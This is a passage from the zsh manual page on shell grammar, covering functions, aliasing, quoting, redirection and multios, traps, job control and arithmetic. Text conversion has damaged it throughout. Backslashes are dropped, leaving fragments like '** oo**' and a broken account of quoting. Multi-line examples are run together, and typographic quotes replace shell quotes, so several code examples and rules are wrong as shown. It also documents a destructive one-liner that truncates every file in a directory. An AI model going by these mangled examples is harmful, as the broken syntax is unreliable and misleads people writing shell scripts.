{ # code which may cause an error } always { # This code is executed regardless of the error. (( TRY_BLOCK_ERROR = 0 )) } # The error condition has been reset.

When a try block occurs outside of any function, a return or a exit encountered in try-list does not cause the execution of always-list. Instead, the shell exits immediately after any EXIT trap has been executed. Otherwise, a return command encountered in try-list will cause the execution of always-list, just like break and continue.

function [ -T ] word … [ () ] [ term ] { list }

word() [ term ] { list }

word() [ term ] command where term is one or more newline or ;. Define a function which is referenced by any one of word. Normally, only one word is provided; multiple words are usually only useful for setting traps. The body of the function is the list between the { and }. See the section `Functions'.

The options of function have the following meanings:

-T Enable tracing for this function, as though with functions -T. See the documentation of the -f option to the typeset builtin, in zshbuiltins(1).

If the option SH_GLOB is set for compatibility with other shells, then whitespace may appear between the left and right parentheses when there is a single word; otherwise, the parentheses will be treated as forming a globbing pattern in that case.

In any of the forms above, a redirection may appear outside the function body, for example

func() { … } 2>&1

The redirection is stored with the function and applied whenever the function is executed. Any variables in the redirection are expanded at the point the function is executed, but outside the function scope.

time [ pipeline ]
The pipeline is executed, and timing statistics are reported on the standard error in the form specified by the TIMEFMT parameter. If pipeline is omitted, print statistics about the shell process and its children.

[[ exp ]]
Evaluates the conditional expression exp and return a zero exit status if it is true. See the section `Conditional Expressions’ for a description of exp.

ALTERNATE FORMS FOR COMPLEX COMMANDS

Many of zsh’s complex commands have alternate forms. These are non-standard and are likely not to be obvious even to seasoned shell programmers; they should not be used anywhere that portability of shell code is a concern.

The short versions below only work if sublist is of the form `{ list }’ or if the SHORT_LOOPS option is set. For the if, while and until commands, in both these cases the test part of the loop must also be suitably delimited, such as by `[[ ]]’ or `(( ))’, else the end of the test will not be recognized. For the for, repeat, case and select commands no such special form for the arguments is necessary, but the other condition (the special form of sublist or use of the SHORT_LOOPS option) still applies. The SHORT_REPEAT option is available to enable the short version only for the repeat command.

if list { list } [ elif list { list } ] … [ else { list } ] An alternate form of if. The rules mean that

if [[ -o ignorebraces ]] { print yes }

works, but

if true { # Does not work! print yes }

does not, since the test is not suitably delimited.

if list sublist
A short form of the alternate if. The same limitations on the form of list apply as for the previous form.

for name( word) sublist
A short form of for.

for name … [ in word … ] term sublist
where term is at least one newline or ;. Another short form of for.

for (( [expr1] ; [expr2] ; [expr3] )) sublist
A short form of the arithmetic for command.

foreach name( word) list end
Another form of for.

while list { list }
An alternative form of while. Note the limitations on the form of list mentioned above.

until list { list }
An alternative form of until. Note the limitations on the form of list mentioned above.

repeat word sublist
This is a short form of repeat.

case word { [ [(] pattern [ | pattern ] … ) list (;;|;&|;|) ] … }
An alternative form of case.

select name [ in wordterm ] sublist
where term is at least one newline or ;. A short form of select.

function word … [ () ] [ term ] sublist
This is a short form of function.

RESERVED WORDS

The following words are recognized as reserved words when used as the first word of a command unless quoted or disabled using disable -r:

do done esac then elif else fi for case if while function repeat time until select coproc nocorrect foreach end ! [[ { } declare export float integer local readonly typeset

Additionally, `}’ is recognized in any position if neither the IGNORE_BRACES option nor the IGNORE_CLOSE_BRACES option is set.

ERRORS

Certain errors are treated as fatal by the shell: in an interactive shell, they cause control to return to the command line, and in a non-interactive shell they cause the shell to be aborted. In older versions of zsh, a non-interactive shell running a script would not abort completely, but would resume execution at the next command to be read from the script, skipping the remainder of any functions or shell constructs such as loops or conditions; this somewhat illogical behaviour can be recovered by setting the option CONTINUE_ON_ERROR.

Fatal errors found in non-interactive shells include:

· Failure to parse shell options passed when invoking the shell

·
Failure to change options with the set builtin

·
Parse errors of all sorts, including failures to parse mathematical expressions

·
Failures to set or modify variable behaviour with typeset, local, declare, export, integer, float

·
Execution of incorrectly positioned loop control structures (continue, break)

·
Attempts to use regular expression with no regular expression module available

·
Disallowed operations when the RESTRICTED options is set

·
Failure to create a pipe needed for a pipeline

·
Failure to create a multio

·
Failure to autoload a module needed for a declared shell feature

·
Errors creating command or process substitutions

·
Syntax errors in glob qualifiers

·
File generation errors where not caught by the option BAD_PATTERN

·
All bad patterns used for matching within case statements

·
File generation failures where not caused by NO_MATCH or similar options

·
All file generation errors where the pattern was used to create a multio

·
Memory errors where detected by the shell

·
Invalid subscripts to shell variables

·
Attempts to assign read-only variables

·
Logical errors with variables such as assignment to the wrong type

·
Use of invalid variable names

·
Errors in variable substitution syntax

·
Failure to convert characters in $’ expressions

If the POSIX_BUILTINS option is set, more errors associated with shell builtin commands are treated as fatal, as specified by the POSIX standard.

COMMENTS

In non-interactive shells, or in interactive shells with the INTERACTIVE_COMMENTS option set, a word beginning with the third character of the histchars parameter (`#’ by default) causes that word and all the following characters up to a newline to be ignored.

ALIASING

Every eligible word in the shell input is checked to see if there is an alias defined for it. If so, it is replaced by the text of the alias if it is in command position (if it could be the first word of a simple command), or if the alias is global. If the replacement text ends with a space, the next word in the shell input is always eligible for purposes of alias expansion.

It is an error for the function name, word, in the sh-compatible function definition syntax `word () …’ to be a word that resulted from alias expansion, unless the ALIAS_FUNC_DEF option is set.

An alias is defined using the alias builtin; global aliases may be defined using the -g option to that builtin.

A word is defined as:

· Any plain string or glob pattern

·
Any quoted string, using any quoting method (note that the quotes must be part of the alias definition for this to be eligible)

·
Any parameter reference or command substitution

·
Any series of the foregoing, concatenated without whitespace or other tokens between them

·
Any reserved word (case, do, else, etc.)

·
With global aliasing, any command separator, any redirection operator, and `(’ or `)’ when not part of a glob pattern

Alias expansion is done on the shell input before any other expansion except history expansion. Therefore, if an alias is defined for the word foo, alias expansion may be avoided by quoting part of the word, e.g. ** oo**. Any form of quoting works, although there is nothing to prevent an alias being defined for the quoted form such as ** oo** as well.

In particular, note that quoting must be used when using unalias to remove global aliases:

% alias -g foo=bar % unalias foo unalias: no such hash table element: bar % unalias oo %

When POSIX_ALIASES is set, only plain unquoted strings are eligible for aliasing. The alias builtin does not reject ineligible aliases, but they are not expanded.

For use with completion, which would remove an initial backslash followed by a character that isn’t special, it may be more convenient to quote the word by starting with a single quote, i.e. ‘foo; completion will automatically add the trailing single quote.

Alias difficulties

Although aliases can be used in ways that bend normal shell syntax, not every string of non-white-space characters can be used as an alias.

Any set of characters not listed as a word above is not a word, hence no attempt is made to expand it as an alias, no matter how it is defined (i.e. via the builtin or the special parameter aliases described in the section THE ZSH/PARAMETER MODULE in zshmodules(1)). However, as noted in the case of POSIX_ALIASES above, the shell does not attempt to deduce whether the string corresponds to a word at the time the alias is created.

For example, an expression containing an = at the start of a command line is an assignment and cannot be expanded as an alias; a lone = is not an assignment but can only be set as an alias using the parameter, as otherwise the = is taken part of the syntax of the builtin command.

It is not presently possible to alias the `((’ token that introduces arithmetic expressions, because until a full statement has been parsed, it cannot be distinguished from two consecutive `(’ tokens introducing nested subshells. Also, if a separator such as && is aliased, & turns into the two tokens ** and &, each of which may have been aliased separately. Similarly for &lt;, |, etc.

There is a commonly encountered problem with aliases illustrated by the following code:

alias echobar=‘echo bar’; echobar

This prints a message that the command echobar could not be found. This happens because aliases are expanded when the code is read in; the entire line is read in one go, so that when echobar is executed it is too late to expand the newly defined alias. This is often a problem in shell scripts, functions, and code executed with `source’ or `.’. Consequently, use of functions rather than aliases is recommended in non-interactive code.

QUOTING

A character may be quoted (that is, made to stand for itself) by preceding it with a `**’. `**’ followed by a newline is ignored.

A string enclosed between `$’’ and `’ is processed the same way as the string arguments of the print builtin, and the resulting string is considered to be entirely quoted. A literal `’ character can be included in the string by using the `****’ escape.

All characters enclosed between a pair of single quotes (’’) that is not preceded by a `$’ are quoted. A single quote cannot appear within single quotes unless the option RC_QUOTES is set, in which case a pair of single quotes are turned into a single quote. For example,

print ’’’’

outputs nothing apart from a newline if RC_QUOTES is not set, but one single quote if it is set.

Inside double quotes (""), parameter and command substitution occur, and `**’ quotes the characters `**’, ``’, `"’, `$’, and the first character of $histchars (default `!’).

REDIRECTION

If a command is followed by & and job control is not active, then the default standard input for the command is the empty file /dev/null. Otherwise, the environment for the execution of a command contains the file descriptors of the invoking shell as modified by input/output specifications.

The following may appear anywhere in a simple command or may precede or follow a complex command. Expansion occurs before word or digit is used except as noted below. If the result of substitution on word produces more than one filename, redirection occurs for each separate filename in turn.

< word Open file word for reading as standard input. It is an error to open a file in this fashion if it does not exist.

<> word
Open file word for reading and writing as standard input. If the file does not exist then it is created.

> word
Open file word for writing as standard output. If the file does not exist then it is created. If the file exists, and the CLOBBER option is unset, this causes an error; otherwise, it is truncated to zero length.

>| word

>! word Same as >, except that the file is truncated to zero length if it exists, regardless of CLOBBER.

>> word
Open file word for writing in append mode as standard output. If the file does not exist, and the CLOBBER and APPEND_CREATE options are both unset, this causes an error; otherwise, the file is created.

>>| word

>>! word Same as >>, except that the file is created if it does not exist, regardless of CLOBBER and APPEND_CREATE.

<<[-] word
The shell input is read up to a line that is the same as word, or to an end-of-file. No parameter expansion, command substitution or filename generation is performed on word. The resulting document, called a here-document, becomes the standard input.

If any character of word is quoted with single or double quotes or a `**’, no interpretation is placed upon the characters of the document. Otherwise, parameter and command substitution occurs, `*’ followed by a newline is removed, and `***’ must be used to quote the characters `**’, `$’, ``**’ and the first character of word.

Note that word itself does not undergo shell expansion. Backquotes in word do not have their usual effect; instead they behave similarly to double quotes, except that the backquotes themselves are passed through unchanged. (This information is given for completeness and it is not recommended that backquotes be used.) Quotes in the form $’ have their standard effect of expanding backslashed references to special characters.

If <<- is used, then all leading tabs are stripped from word and from the document.

<<< word
Perform shell expansion on word and pass the result to standard input. This is known as a here-string. Compare the use of word in here-documents above, where word does not undergo shell expansion. The result will have a trailing newline after it.

<& number

>& number The standard input/output is duplicated from file descriptor number (see dup2(2)).

<& -

>& - Close the standard input/output.

<& p

>& p The input/output from/to the coprocess is moved to the standard input/output.

>& word

&> word (Except where `>& word’ matches one of the above syntaxes; `&>’ can always be used to avoid this ambiguity.) Redirects both standard output and standard error (file descriptor 2) in the manner of `> word’. Note that this does not have the same effect as `> word 2>&1’ in the presence of multios (see the section below).

>&| word

>&! word

&>| word

&>! word Redirects both standard output and standard error (file descriptor 2) in the manner of `>| word'.

>>& word

&>> word Redirects both standard output and standard error (file descriptor 2) in the manner of `>> word'.

>>&| word

>>&! word

&>>| word

&>>! word Redirects both standard output and standard error (file descriptor 2) in the manner of `>>| word'.

If one of the above is preceded by a digit, then the file descriptor referred to is that specified by the digit instead of the default 0 or 1. The order in which redirections are specified is significant. The shell evaluates each redirection in terms of the (file descriptor, file) association at the time of evaluation. For example:

… 1>fname 2>&1

first associates file descriptor 1 with file fname. It then associates file descriptor 2 with the file associated with file descriptor 1 (that is, fname). If the order of redirections were reversed, file descriptor 2 would be associated with the terminal (assuming file descriptor 1 had been) and then file descriptor 1 would be associated with file fname.

The `|&’ command separator described in Simple Commands & Pipelines in zshmisc(1) is a shorthand for `2>&1 |'.

The various forms of process substitution, `<(list)’, and `=(list)’ for input and `>(list)’ for output, are often used together with redirection. For example, if word in an output redirection is of the form `>(list)’ then the output is piped to the command represented by list. See Process Substitution in zshexpn(1).

OPENING FILE DESCRIPTORS USING PARAMETERS

When the shell is parsing arguments to a command, and the shell option IGNORE_BRACES is not set, a different form of redirection is allowed: instead of a digit before the operator there is a valid shell identifier enclosed in braces. The shell will open a new file descriptor that is guaranteed to be at least 10 and set the parameter named by the identifier to the file descriptor opened. No whitespace is allowed between the closing brace and the redirection character. For example:

… {myfd}>&1

This opens a new file descriptor that is a duplicate of file descriptor 1 and sets the parameter myfd to the number of the file descriptor, which will be at least 10. The new file descriptor can be written to using the syntax >&$myfd. The file descriptor remains open in subshells and forked external executables.

The syntax {varid}>&-, for example {myfd}>&-, may be used to close a file descriptor opened in this fashion. Note that the parameter given by varid must previously be set to a file descriptor in this case.

It is an error to open or close a file descriptor in this fashion when the parameter is readonly. However, it is not an error to read or write a file descriptor using **<&$**param or **>&$**param if param is readonly.

If the option CLOBBER is unset, it is an error to open a file descriptor using a parameter that is already set to an open file descriptor previously allocated by this mechanism. Unsetting the parameter before using it for allocating a file descriptor avoids the error.

Note that this mechanism merely allocates or closes a file descriptor; it does not perform any redirections from or to it. It is usually convenient to allocate a file descriptor prior to use as an argument to exec. The syntax does not in any case work when used around complex commands such as parenthesised subshells or loops, where the opening brace is interpreted as part of a command list to be executed in the current shell.

The following shows a typical sequence of allocation, use, and closing of a file descriptor:

integer myfd exec {myfd}>~/logs/mylogfile.txt print This is a log message. >&$myfd exec {myfd}>&-

Note that the expansion of the variable in the expression >&$myfd occurs at the point the redirection is opened. This is after the expansion of command arguments and after any redirections to the left on the command line have been processed.

MULTIOS

If the user tries to open a file descriptor for writing more than once, the shell opens the file descriptor as a pipe to a process that copies its input to all the specified outputs, similar to tee, provided the MULTIOS option is set, as it is by default. Thus:

date >foo >bar

writes the date to two files, named `foo’ and `bar’. Note that a pipe is an implicit redirection; thus

date >foo | cat

writes the date to the file `foo’, and also pipes it to cat.

Note that the shell opens all the files to be used in the multio process immediately, not at the point they are about to be written.

Note also that redirections are always expanded in order. This happens regardless of the setting of the MULTIOS option, but with the option in effect there are additional consequences. For example, the meaning of the expression >&1 will change after a previous redirection:

date >&1 >output

In the case above, the >&1 refers to the standard output at the start of the line; the result is similar to the tee command. However, consider:

date >output >&1

As redirections are evaluated in order, when the >&1 is encountered the standard output is set to the file output and another copy of the output is therefore sent to that file. This is unlikely to be what is intended.

If the MULTIOS option is set, the word after a redirection operator is also subjected to filename generation (globbing). Thus

: > *

will truncate all files in the current directory, assuming there’s at least one. (Without the MULTIOS option, it would create an empty file called `*’.) Similarly, you can do

echo exit 0 » *.sh

If the user tries to open a file descriptor for reading more than once, the shell opens the file descriptor as a pipe to a process that copies all the specified inputs to its output in the order specified, provided the MULTIOS option is set. It should be noted that each file is opened immediately, not at the point where it is about to be read: this behaviour differs from cat, so if strictly standard behaviour is needed, cat should be used instead.

Thus

sort <foo <fubar

or even

sort <f{oo,ubar}

is equivalent to `cat foo fubar | sort'.

Expansion of the redirection argument occurs at the point the redirection is opened, at the point described above for the expansion of the variable in >&$myfd.

Note that a pipe is an implicit redirection; thus

cat bar | sort <foo

is equivalent to `cat bar foo | sort’ (note the order of the inputs).

If the MULTIOS option is unset, each redirection replaces the previous redirection for that file descriptor. However, all files redirected to are actually opened, so

echo Hello > bar > baz

when MULTIOS is unset will truncate `bar’, and write `Hello’ into `baz'.

There is a problem when an output multio is attached to an external program. A simple example shows this:

cat file >file1 >file2 cat file1 file2

Here, it is possible that the second `cat’ will not display the full contents of file1 and file2 (i.e. the original contents of file repeated twice).

The reason for this is that the multios are spawned after the cat process is forked from the parent shell, so the parent shell does not wait for the multios to finish writing data. This means the command as shown can exit before file1 and file2 are completely written. As a workaround, it is possible to run the cat process as part of a job in the current shell:

{ cat file } >file >file2

Here, the {} job will pause to wait for both files to be written.

REDIRECTIONS WITH NO COMMAND

When a simple command consists of one or more redirection operators and zero or more parameter assignments, but no command name, zsh can behave in several ways.

If the parameter NULLCMD is not set or the option CSH_NULLCMD is set, an error is caused. This is the csh behavior and CSH_NULLCMD is set by default when emulating csh.

If the option SH_NULLCMD is set, the builtin `:’ is inserted as a command with the given redirections. This is the default when emulating sh or ksh.

Otherwise, if the parameter NULLCMD is set, its value will be used as a command with the given redirections. If both NULLCMD and READNULLCMD are set, then the value of the latter will be used instead of that of the former when the redirection is an input. The default for NULLCMD is `cat’ and for READNULLCMD is `more’. Thus

< file

shows the contents of file on standard output, with paging if that is a terminal. NULLCMD and READNULLCMD may refer to shell functions.

COMMAND EXECUTION

If a command name contains no slashes, the shell attempts to locate it. If there exists a shell function by that name, the function is invoked as described in the section `Functions’. If there exists a shell builtin by that name, the builtin is invoked.

Otherwise, the shell searches each element of $path for a directory containing an executable file by that name.

If execution fails: an error message is printed, and one of the following values is returned.

127
The search was unsuccessful. The error message is `command not found: cmd'.

126
The executable file has insufficient permissions, is a directory or special file, or is not a script and is in a format unrecognized by the operating system. The exact conditions and error message are operating system-dependent; see execve(2).

If execution fails because the file is not in executable format, and the file is not a directory, it is assumed to be a shell script. /bin/sh is spawned to execute it. If the program is a file beginning with `#!’, the remainder of the first line specifies an interpreter for the program. The shell will execute the specified interpreter on operating systems that do not handle this executable format in the kernel.

If no external command is found but a function command_not_found_handler exists the shell executes this function with all command line arguments. The return status of the function becomes the status of the command. Note that the handler is executed in a subshell forked to execute an external command, hence changes to directories, shell parameters, etc. have no effect on the main shell.

FUNCTIONS

Shell functions are defined with the function reserved word or the special syntax `funcname ()’. Shell functions are read in and stored internally. Alias names are resolved when the function is read. Functions are executed like commands with the arguments passed as positional parameters. (See the section `Command Execution’.)

Functions execute in the same process as the caller and share all files and present working directory with the caller. A trap on EXIT set inside a function is executed after the function completes in the environment of the caller.

The return builtin is used to return from function calls.

Function identifiers can be listed with the functions builtin. Functions can be undefined with the unfunction builtin.

AUTOLOADING FUNCTIONS

A function can be marked as undefined using the autoload builtin (or `functions -u’ or `typeset -fu’). Such a function has no body. When the function is first executed, the shell searches for its definition using the elements of the fpath variable. Thus to define functions for autoloading, a typical sequence is:

fpath=(~/myfuncs $fpath) autoload myfunc1 myfunc2 …

The usual alias expansion during reading will be suppressed if the autoload builtin or its equivalent is given the option -U. This is recommended for the use of functions supplied with the zsh distribution. Note that for functions precompiled with the zcompile builtin command the flag -U must be provided when the .zwc file is created, as the corresponding information is compiled into the latter.

For each element in fpath, the shell looks for three possible files, the newest of which is used to load the definition for the function:

element**.zwc** A file created with the zcompile builtin command, which is expected to contain the definitions for all functions in the directory named element. The file is treated in the same manner as a directory containing files for functions and is searched for the definition of the function. If the definition is not found, the search for a definition proceeds with the other two possibilities described below.

If element already includes a .zwc extension (i.e. the extension was explicitly given by the user), element is searched for the definition of the function without comparing its age to that of other files; in fact, there does not need to be any directory named element without the suffix. Thus including an element such as `/usr/local/funcs.zwc’ in fpath will speed up the search for functions, with the disadvantage that functions included must be explicitly recompiled by hand before the shell notices any changes.

element**/function.zwc**
A file created with zcompile, which is expected to contain the definition for function. It may include other function definitions as well, but those are neither loaded nor executed; a file found in this way is searched only for the definition of function.

element**/**function
A file of zsh command text, taken to be the definition for function.

In summary, the order of searching is, first, in the parents of directories in fpath for the newer of either a compiled directory or a directory in fpath; second, if more than one of these contains a definition for the function that is sought, the leftmost in the fpath is chosen; and third, within a directory, the newer of either a compiled function or an ordinary function definition is used.

If the KSH_AUTOLOAD option is set, or the file contains only a simple definition of the function, the file’s contents will be executed. This will normally define the function in question, but may also perform initialization, which is executed in the context of the function execution, and may therefore define local parameters. It is an error if the function is not defined by loading the file.

Otherwise, the function body (with no surrounding `funcname**()** {}’) is taken to be the complete contents of the file. This form allows the file to be used directly as an executable shell script. If processing of the file results in the function being re-defined, the function itself is not re-executed. To force the shell to perform initialization and then call the function defined, the file should contain initialization code (which will be executed then discarded) in addition to a complete function definition (which will be retained for subsequent calls to the function), and a call to the shell function, including any arguments, at the end.

For example, suppose the autoload file func contains

func() { print This is func; } print func is initialized

then `func; func’ with KSH_AUTOLOAD set will produce both messages on the first call, but only the message `This is func’ on the second and subsequent calls. Without KSH_AUTOLOAD set, it will produce the initialization message on the first call, and the other message on the second and subsequent calls.

It is also possible to create a function that is not marked as autoloaded, but which loads its own definition by searching fpath, by using `autoload -X’ within a shell function. For example, the following are equivalent:

myfunc() { autoload -X } myfunc args…

and

unfunction myfunc # if myfunc was defined autoload myfunc myfunc args…

In fact, the functions command outputs `builtin autoload -X’ as the body of an autoloaded function. This is done so that

eval “$(functions)”

produces a reasonable result. A true autoloaded function can be identified by the presence of the comment `# undefined’ in the body, because all comments are discarded from defined functions.

To load the definition of an autoloaded function myfunc without executing myfunc, use:

autoload +X myfunc

ANONYMOUS FUNCTIONS

If no name is given for a function, it is `anonymous’ and is handled specially. Either form of function definition may be used: a `()’ with no preceding name, or a `function’ with an immediately following open brace. The function is executed immediately at the point of definition and is not stored for future use. The function name is set to `(anon)'.

Arguments to the function may be specified as words following the closing brace defining the function, hence if there are none no arguments (other than $0) are set. This is a difference from the way other functions are parsed: normal function definitions may be followed by certain keywords such as `else’ or `fi’, which will be treated as arguments to anonymous functions, so that a newline or semicolon is needed to force keyword interpretation.

Note also that the argument list of any enclosing script or function is hidden (as would be the case for any other function called at this point).

Redirections may be applied to the anonymous function in the same manner as to a current-shell structure enclosed in braces. The main use of anonymous functions is to provide a scope for local variables. This is particularly convenient in start-up files as these do not provide their own local variable scope.

For example,

variable=outside function { local variable=inside print “I am $variable with arguments $*” } this and that print “I am $variable”

outputs the following:

I am inside with arguments this and that I am outside

Note that function definitions with arguments that expand to nothing, for example `name=; function $name { }’, are not treated as anonymous functions. Instead, they are treated as normal function definitions where the definition is silently discarded.

SPECIAL FUNCTIONS

Certain functions, if defined, have special meaning to the shell.

Hook Functions

For the functions below, it is possible to define an array that has the same name as the function with `_functions’ appended. Any element in such an array is taken as the name of a function to execute; it is executed in the same context and with the same arguments and same initial value of $? as the basic function. For example, if $chpwd_functions is an array containing the values `mychpwd’, `chpwd_save_dirstack’, then the shell attempts to execute the functions `chpwd’, `mychpwd’ and `chpwd_save_dirstack’, in that order. Any function that does not exist is silently ignored. A function found by this mechanism is referred to elsewhere as a hook function. An error in any function causes subsequent functions not to be run. Note further that an error in a precmd hook causes an immediately following periodic function not to run (though it may run at the next opportunity).

chpwd Executed whenever the current working directory is changed.

periodic
If the parameter PERIOD is set, this function is executed every $PERIOD seconds, just before a prompt. Note that if multiple functions are defined using the array periodic_functions only one period is applied to the complete set of functions, and the scheduled time is not reset if the list of functions is altered. Hence the set of functions is always called together.

precmd
Executed before each prompt. Note that precommand functions are not re-executed simply because the command line is redrawn, as happens, for example, when a notification about an exiting job is displayed.

preexec
Executed just after a command has been read and is about to be executed. If the history mechanism is active (regardless of whether the line was discarded from the history buffer), the string that the user typed is passed as the first argument, otherwise it is an empty string. The actual command that will be executed (including expanded aliases) is passed in two different forms: the second argument is a single-line, size-limited version of the command (with things like function bodies elided); the third argument contains the full text that is being executed.

zshaddhistory
Executed when a history line has been read interactively, but before it is executed. The sole argument is the complete history line (so that any terminating newline will still be present).

If any of the hook functions returns status 1 (or any non-zero value other than 2, though this is not guaranteed for future versions of the shell) the history line will not be saved, although it lingers in the history until the next line is executed, allowing you to reuse or edit it immediately.

If any of the hook functions returns status 2 the history line will be saved on the internal history list, but not written to the history file. In case of a conflict, the first non-zero status value is taken.

A hook function may call `fc -p ’ to switch the history context so that the history is saved in a different file from that in the global HISTFILE parameter. This is handled specially: the history context is automatically restored after the processing of the history line is finished.

The following example function works with one of the options INC_APPEND_HISTORY or SHARE_HISTORY set, in order that the line is written out immediately after the history entry is added. It first adds the history line to the normal history with the newline stripped, which is usually the correct behaviour. Then it switches the history context so that the line will be written to a history file in the current directory.

zshaddhistory() { print -sr – ${1%%$' ‘} fc -p .zsh_local_history }

zshexit
Executed at the point where the main shell is about to exit normally. This is not called by exiting subshells, nor when the exec precommand modifier is used before an external command. Also, unlike TRAPEXIT, it is not called when functions exit.

Trap Functions

The functions below are treated specially but do not have corresponding hook arrays.

TRAPNAL If defined and non-null, this function will be executed whenever the shell catches a signal SIGNAL, where NAL is a signal name as specified for the kill builtin. The signal number will be passed as the first parameter to the function.

If a function of this form is defined and null, the shell and processes spawned by it will ignore SIGNAL.

The return status from the function is handled specially. If it is zero, the signal is assumed to have been handled, and execution continues normally. Otherwise, the shell will behave as interrupted except that the return status of the trap is retained.

Programs terminated by uncaught signals typically return the status 128 plus the signal number. Hence the following causes the handler for SIGINT to print a message, then mimic the usual effect of the signal.

TRAPINT() { print “Caught SIGINT, aborting.” return $(( 128 + $1 )) }

The functions TRAPZERR, TRAPDEBUG and TRAPEXIT are never executed inside other traps.

TRAPDEBUG
If the option DEBUG_BEFORE_CMD is set (as it is by default), executed before each command; otherwise executed after each command. See the description of the trap builtin in zshbuiltins(1) for details of additional features provided in debug traps.

TRAPEXIT
Executed when the shell exits, or when the current function exits if defined inside a function. The value of $? at the start of execution is the exit status of the shell or the return status of the function exiting.

TRAPZERR
Executed whenever a command has a non-zero exit status. However, the function is not executed if the command occurred in a sublist followed by `&&’ or `||’; only the final command in a sublist of this type causes the trap to be executed. The function TRAPERR acts the same as TRAPZERR on systems where there is no SIGERR (this is the usual case).

The functions beginning `TRAP’ may alternatively be defined with the trap builtin: this may be preferable for some uses. Setting a trap with one form removes any trap of the other form for the same signal; removing a trap in either form removes all traps for the same signal. The forms

TRAPNAL() { # code }

(‘function traps’) and

trap ' # code ’ NAL

(’list traps’) are equivalent in most ways, the exceptions being the following:

· Function traps have all the properties of normal functions, appearing in the list of functions and being called with their own function context rather than the context where the trap was triggered.

·
The return status from function traps is special, whereas a return from a list trap causes the surrounding context to return with the given status.

·
Function traps are not reset within subshells, in accordance with zsh behaviour; list traps are reset, in accordance with POSIX behaviour.

JOBS

If the MONITOR option is set, an interactive shell associates a job with each pipeline. It keeps a table of current jobs, printed by the jobs command, and assigns them small integer numbers. When a job is started asynchronously with `&’, the shell prints a line to standard error which looks like:

[1] 1234

indicating that the job which was started asynchronously was job number 1 and had one (top-level) process, whose process ID was 1234.

If a job is started with `&|’ or `&!’, then that job is immediately disowned. After startup, it does not have a place in the job table, and is not subject to the job control features described here.

If you are running a job and wish to do something else you may hit the key ^Z (control-Z) which sends a TSTP signal to the current job: this key may be redefined by the susp option of the external stty command. The shell will then normally indicate that the job has been `suspended’, and print another prompt. You can then manipulate the state of this job, putting it in the background with the bg command, or run some other commands and then eventually bring the job back into the foreground with the foreground command fg. A ^Z takes effect immediately and is like an interrupt in that pending output and unread input are discarded when it is typed.

A job being run in the background will suspend if it tries to read from the terminal.

Note that if the job running in the foreground is a shell function, then suspending it will have the effect of causing the shell to fork. This is necessary to separate the function’s state from that of the parent shell performing the job control, so that the latter can return to the command line prompt. As a result, even if fg is used to continue the job the function will no longer be part of the parent shell, and any variables set by the function will not be visible in the parent shell. Thus the behaviour is different from the case where the function was never suspended. Zsh is different from many other shells in this regard.

One additional side effect is that use of disown with a job created by suspending shell code in this fashion is delayed: the job can only be disowned once any process started from the parent shell has terminated. At that point, the disowned job disappears silently from the job list.

The same behaviour is found when the shell is executing code as the right hand side of a pipeline or any complex shell construct such as if, for, etc., in order that the entire block of code can be managed as a single job. Background jobs are normally allowed to produce output, but this can be disabled by giving the command `stty tostop’. If you set this tty option, then background jobs will suspend when they try to produce output like they do when they try to read input.

When a command is suspended and continued later with the fg or wait builtins, zsh restores tty modes that were in effect when it was suspended. This (intentionally) does not apply if the command is continued via `kill -CONT’, nor when it is continued with bg.

There are several ways to refer to jobs in the shell. A job can be referred to by the process ID of any process of the job or by one of the following:

**%**number
The job with the given number.

**%**string
The last job whose command line begins with string.

**%?**string
The last job whose command line contains string.

%%
Current job.

%+
Equivalent to `%%’.

%-
Previous job.

The shell learns immediately whenever a process changes state. It normally informs you whenever a job becomes blocked so that no further progress is possible. If the NOTIFY option is not set, it waits until just before it prints a prompt before it informs you. All such notifications are sent directly to the terminal, not to the standard output or standard error.

When the monitor mode is on, each background job that completes triggers any trap set for CHLD.

When you try to leave the shell while jobs are running or suspended, you will be warned that `You have suspended (running) jobs’. You may use the jobs command to see what they are. If you do this or immediately try to exit again, the shell will not warn you a second time; the suspended jobs will be terminated, and the running jobs will be sent a SIGHUP signal, if the HUP option is set.

To avoid having the shell terminate the running jobs, either use the nohup(1) command or the disown builtin.

SIGNALS

The INT and QUIT signals for an invoked command are ignored if the command is followed by `&’ and the MONITOR option is not active. The shell itself always ignores the QUIT signal. Otherwise, signals have the values inherited by the shell from its parent (but see the TRAPNAL special functions in the section `Functions’).

Certain jobs are run asynchronously by the shell other than those explicitly put into the background; even in cases where the shell would usually wait for such jobs, an explicit exit command or exit due to the option ERR_EXIT will cause the shell to exit without waiting. Examples of such asynchronous jobs are process substitution, see the section PROCESS SUBSTITUTION in the zshexpn(1) manual page, and the handler processes for multios, see the section MULTIOS in the zshmisc(1) manual page.

ARITHMETIC EVALUATION

The shell can perform integer and floating point arithmetic, either using the builtin let, or via a substitution of the form $(()). For integers, the shell is usually compiled to use 8-byte precision where this is available, otherwise precision is 4 bytes. This can be tested, for example, by giving the command `print - $(( 12345678901 ))’; if the number appears unchanged, the precision is at least 8 bytes. Floating point arithmetic always uses the `double’ type with whatever corresponding precision is provided by the compiler and the library.

The let builtin command takes arithmetic expressions as arguments; each is evaluated separately. Since many of the arithmetic operators, as well as spaces, require quoting, an alternative form is provided: for any command which begins with a `((’, all the characters until a matching `))’ are treated as a double-quoted expression and arithmetic expansion performed as for an argument of let. More precisely, `(())’ is equivalent to `let “’. The return status is 0 if the arithmetic value of the expression is non-zero, 1 if it is zero, and 2 if an error occurred.

For example, the following statement

(( val = 2 + 1 ))

is equivalent to

let “val = 2 + 1”

both assigning the value 3 to the shell variable val and returning a zero status.

Integers can be in bases other than 10. A leading `0x’ or `0X’ denotes hexadecimal and a leading `0b’ or `0B’ binary. Integers may also be of the form `base**#n’, where base is a decimal number between two and thirty-six representing the arithmetic base and n is a number in that base (for example, `16#ff’ is 255 in hexadecimal). The base#** may also be omitted, in which case base 10 is used. For backwards compatibility the form `**[base]**n’ is also accepted.

An integer expression or a base given in the form `base**#n’ may contain underscores (`_**’) after the leading digit for visual guidance; these are ignored in computation. Examples are 1_000_000 or 0xffff_ffff which are equivalent to 1000000 and 0xffffffff respectively.

It is also possible to specify a base to be used for output in the form `[#base]’, for example `[#16]’. This is used when outputting arithmetical substitutions or when assigning to scalar parameters, but an explicitly defined integer or floating point parameter will not be affected. If an integer variable is implicitly defined by an arithmetic expression, any base specified in this way will be set as the variable’s output arithmetic base as if the option `-i base’ to the typeset builtin had been used. The expression has no precedence and if it occurs more than once in a mathematical expression, the last encountered is used. For clarity it is recommended that it appear at the beginning of an expression. As an example:

typeset -i 16 y print $(( [#8] x = 32, y = 32 )) print $x $y

